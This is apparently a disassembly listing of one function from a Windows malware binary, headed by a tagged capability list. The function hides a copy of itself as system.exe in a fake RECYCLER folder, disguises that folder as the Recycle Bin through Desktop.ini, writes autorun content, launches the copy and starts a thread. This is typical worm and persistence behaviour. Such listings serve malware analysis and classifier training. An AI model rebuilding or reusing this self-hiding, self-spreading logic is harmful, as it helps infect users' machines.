Function at 0x4022a5
Capabilities:
Copy file
Create a process with modified i/o handles and window
Create directory
Create process on windows
Create thread
Delete file
Set file attributes
Terminate process
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x470
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x46c], eax
mov ax, word [0x404448]
push ebx
push ebp
push esi
push edi
mov word [esp + 0x6c], ax
xor ebx, ebx
mov al, byte [0x40444a]
push 0x101
mov byte [esp + 0x72], al
lea eax, [esp + 0x73]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x274]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x6c]
mov byte [esp + 0x170], bl
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402307
lea edi, [esp + 0x170]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402318
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, str.RECYCLER
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402335
lea edi, [esp + 0x170]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402346
mov ecx, edx
lea eax, [esp + 0x170]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x170]
push 7
push eax
call ebp
mov edx, str.S_1_6_21_2434476501_1644491937_600003330_1213
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402386
lea edi, [esp + 0x170]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402397
mov ecx, edx
lea eax, [esp + 0x170]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
push 7
lea eax, [esp + 0x174]
push eax
call ebp
push 0x104
lea eax, [esp + 0x174]
push eax
lea eax, [esp + 0x380]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov edx, str.Desktop.ini
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x4023e7
lea edi, [esp + 0x378]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4023f8
mov ecx, edx
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
shr ecx, 2
lea eax, [esp + 0x378]
rep movsd dword es:[edi], dword [esi]
xor ebx, ebx
mov ecx, edx
push ebx
push 6
push 2
push ebx
push ebx
and ecx, 3
push 0x40000000
rep movsb byte es:[edi], byte [esi]
push eax
call ebp
mov esi, eax
cmp esi, 1
jb 0x402457
mov ecx, str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40243b
push ebx
lea eax, [esp + 0x14]
sub ecx, edx
push eax
push ecx
push str._autorun__r_nopen
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
lea edi, [esp + 0x170]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402468
mov ax, word [0x4043d8]
mov edx, str.system.exe
mov word [edi], ax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402480
lea edi, [esp + 0x170]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402491
mov ecx, edx
lea eax, [esp + 0x170]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
lea eax, [esp + 0x278]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
pop ecx
pop ecx
test eax, eax
je 0x40259c
push 0x80
lea eax, [esp + 0x174]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [esp + 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ebp, ebp
lea eax, [esp + 0x170]
push ebp
push eax
lea eax, [esp + 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x104
lea eax, [esp + 0x174]
push eax
lea eax, [esp + 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
xor eax, eax
lea edi, [esp + 0x18]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
push ebp
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x30]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x34], 0x404283
xor eax, eax
mov dword [esp + 0x28], esi
mov word [esp + 0x58], ax
lea eax, [esp + 0x18]
mov dword [esp + 0x54], 1
push eax
lea eax, [esp + 0x2c]
push eax
push ebp
push ebp
push 0x28
push 1
push ebp
push ebp
push ebp
lea eax, [esp + 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x402595
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esp + 0x18]
call ebx
push dword [esp + 0x1c]
call ebx
call dword [sym.imp.WS2_32.dll_WSACleanup]
push ebp
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ebx, ebx
lea eax, [esp + 0x274]
push ebx
push ebx
push 4
push ebx
push 1
push connect
push eax
call ebp
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
push ebx
push ebx
push 0x4025ec
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x47c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004031cd
add esp, 0x470
ret